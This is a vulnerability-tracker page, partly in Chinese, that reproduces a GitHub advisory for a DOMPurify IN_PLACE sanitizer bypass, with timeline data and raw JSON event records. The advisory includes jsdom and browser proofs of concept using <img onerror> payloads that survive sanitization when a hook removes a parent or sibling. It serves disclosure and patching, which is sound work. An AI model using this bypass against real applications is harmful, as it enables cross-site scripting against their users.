nday
GHSA-mrv2-3pqr-j5jr

DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)

披露后第 28 天有补丁记录。已有补丁记录,修复版本是 dompurify 3.4.17。四个 PoC 来源都还没有收录。尚未列入 CISA KEV。

标签 漏洞类型XSS 攻击途径网络无需认证 软件包生态npm
这些标签的依据

这些标签由 nday 按固定规则从下列事实自动推导,不是 NVD、编号分配方或其他来源给出的。全部标签和规则见 ~/tags。

XSS
CWE-79(来源:GitHub 公告 GHSA-mrv2-3pqr-j5jr)
网络
GitHub 公告 GHSA-mrv2-3pqr-j5jr 给出的 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N(CVSS 4.0)中的 AV:N
无需认证
GitHub 公告 GHSA-mrv2-3pqr-j5jr 给出的 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N(CVSS 4.0)中的 PR:N
npm
GHSA-mrv2-3pqr-j5jr:npm 包 dompurify
当前阶段
PAT
披露
披露到补丁
T+28d
CVSS
2.3 LOW v4.0

生命周期

横轴 UTC;点=精确到分钟,宽条=仅日期,空心=未知或推定。
时间未知
DIS披露
10-22T16:24Z
PAT补丁
11-19T01:02Z
ANA分析
尚无记录
POCPoC
尚无记录
ITW在野
尚无记录
KEVKEV
尚无记录

摘要

### Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.

### Tested versions

- 3.4.16 (latest) and main at 18f8f0e - also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

### Details

src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode():

if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}

It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

### PoC (jsdom)

const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}

Output on 3.4.16:

3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"

In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.

### PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
  document.getElementById('log').textContent =
    'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>

Result on 3.4.16:

version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]

The returned tree is clean in both cases, but the handler on the detached image runs in the page for parent.

### Impact

An app that uses IN_PLACE with a hook that removes a wrapper or a nearby element (for example "drop the whole <figure> if its image is not allowed") gets DOM XSS from attacker markup after sanitize() returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.

### Suggested fix

Instead of only checking currentNode, check after each hook call whether anything outside the current node was detached. Two simple options:

- before calling a hook in IN_PLACE mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under root - or, after the walk, neutralize every element that was in the original tree but is no longer connected to root (for example by collecting the elements before the walk)

以上是 GitHub 安全公告 GHSA-mrv2-3pqr-j5jr 中的原文,未经改写。

利用条件

按 CVSS 向量说明攻击需要的条件。
攻击途径 AV:N
网络:攻击者只要能通过网络访问到目标即可
攻击复杂度 AC:L
低:不需要绕过目标特有的安全防护
攻击前提 AT:P
有:依赖特定的部署或运行条件,例如竞态条件、非默认配置或处于网络路径中间
所需权限 PR:N
无:不需要账号或授权
用户交互 UI:P
被动:只需有限的、非主动的交互,例如浏览某个页面

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CVSS 4.0 向量,来自 GitHub 安全公告 GHSA-mrv2-3pqr-j5jr。

事件记录

+DIS披露

ghsa 报告了披露事件。

来源 ghsa · 本站 实时观测 · 原始记录
{
  "id": 482790,
  "type": "disclosed",
  "source": "ghsa",
  "url": "https://github.com/advisories/GHSA-mrv2-3pqr-j5jr",
  "occurred_at": "2026-10-22T16:24:52Z",
  "observed_at": "2026-11-19T01:02:02.59507Z",
  "is_backfill": false,
  "dedupe_key": "GHSA-mrv2-3pqr-j5jr",
  "detail": {
    "state": "PUBLISHED",
    "ghsa_id": "GHSA-mrv2-3pqr-j5jr",
    "withdrawn_at": null
  }
}
来源未给时间,本站实时观测
+PAT补丁发布

公告给出修复版本 dompurify 3.4.17。公告附有修复提交。公告本身发布于 ,补丁实际发布时间没有记录。

来源 ghsa · 本站 实时观测 · 原始记录
{
  "id": 482791,
  "type": "patch_released",
  "source": "ghsa",
  "url": "https://github.com/advisories/GHSA-mrv2-3pqr-j5jr",
  "occurred_at": null,
  "observed_at": "2026-11-19T01:02:02.59507Z",
  "is_backfill": false,
  "dedupe_key": "GHSA-mrv2-3pqr-j5jr",
  "detail": {
    "cvss": {
      "cvss_v3": {
        "score": 0.0,
        "vector_string": null
      },
      "cvss_v4": {
        "score": 2.3,
        "vector_string": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"
      }
    },
    "cwes": [
      {
        "name": "Improper Neutralization of Input During Web Page Generation",
        "cwe_id": "CWE-79"
      },
      {
        "name": "Protection Mechanism Failure",
        "cwe_id": "CWE-693"
      }
    ],
    "ghsa_id": "GHSA-mrv2-3pqr-j5jr",
    "packages": [
      {
        "name": "dompurify",
        "ecosystem": "npm",
        "first_patched_version": "3.4.17",
        "vulnerable_version_range": "<= 3.4.16"
      }
    ],
    "severity": "low",
    "references": [
      "https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr",
      "https://github.com/cure53/DOMPurify/pull/1672",
      "https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575",
      "https://github.com/cure53/DOMPurify/releases/tag/3.4.17",
      "https://github.com/advisories/GHSA-mrv2-3pqr-j5jr"
    ],
    "fix_commit_urls": [
      "https://github.com/cure53/DOMPurify/pull/1672",
      "https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575"
    ],
    "github_reviewed_at": "2026-10-22T16:24:52Z",
    "advisory_updated_at": "2026-11-19T00:06:58Z",
    "source_code_location": "https://github.com/cure53/DOMPurify",
    "advisory_published_at": "2026-10-22T16:24:52Z"
  }
}

纠错

报告错误或缺失

页面有误或缺失?告诉编辑;采纳后在本页修订记录公开说明,上游数据不会被改动。

讨论

0 条评论

还没有评论。